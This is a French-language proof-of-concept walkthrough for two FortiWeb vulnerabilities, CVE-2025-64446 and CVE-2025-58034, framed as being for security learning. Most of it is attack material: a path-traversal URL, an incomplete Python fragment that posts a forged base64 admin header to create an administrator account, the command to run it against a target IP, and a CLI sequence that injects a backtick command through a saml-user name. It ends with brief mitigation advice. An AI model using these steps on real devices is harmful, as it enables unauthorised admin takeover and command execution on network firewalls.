Simulation d'exploitation FortiWeb (CVE-2025-64446 & CVE-2025-58034)

Remarque :

• Ce document est uniquement destiné à des fins d'apprentissage et de recherche en sécurité.
• Ne pas l'utiliser pour attaquer un système sans autorisation.

1. Vue d'ensemble

FortiWeb est un dispositif Web Application Firewall (WAF) utilisé pour protéger les applications web.

En 2025, deux vulnérabilités critiques ont été découvertes :

• CVE-2025-64446 – Contournement de l'authentification par Path Traversal
• CVE-2025-58034 – Injection de commandes système (OS Command Injection)

2. Vue d'ensemble de CVE-2025-64446

Exemple :

/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. Vue d'ensemble de CVE-2025-58034

4. Processus d'expérimentation (POC)

4.1. Préparation de l'environnement :

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Cela permet d'éviter les conflits de versions de bibliothèques, de garantir la stabilité de l'environnement de travail et de limiter l'impact sur le système.

4.2 Exploitation

Payload

 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Exécutez l'outil avec Python3 :

python3 exploit.py <IP_target>

• <IP_target> : L'adresse IP correspond ici au nom d'hôte de l'appareil FortiWeb.

On obtient le nom d'utilisateur et le mot de passe -> on procède à la connexion.

Exploitation réussie : un nouveau compte avec les droits d'administrateur a été créé.

4.3 Exploitation de CVE-2025-58034 après connexion au compte

Après s'être connecté avec succès à l'aide du compte administrateur nouvellement créé, l'attaquant peut exploiter la vulnérabilité d'injection de commandes authentifiée via des requêtes spécialement conçues ou directement via l'interface en ligne de commande FortiWeb CLI :

config user saml-user

edit "`id`" ## nhập lệnh tại đây

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

FortiWeb sort de la séquence de configuration et exécute la commande id pendant la configuration de saml-user.

5. Mesures d'atténuation des vulnérabilités

• Mettre à jour FortiWeb vers une version corrigée.
• Restreindre l'accès à l'interface d'administration.
• Ne pas exposer l'interface de gestion sur Internet.
• Vérifier les comptes administrateur inhabituels.

6. Références complémentaires

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034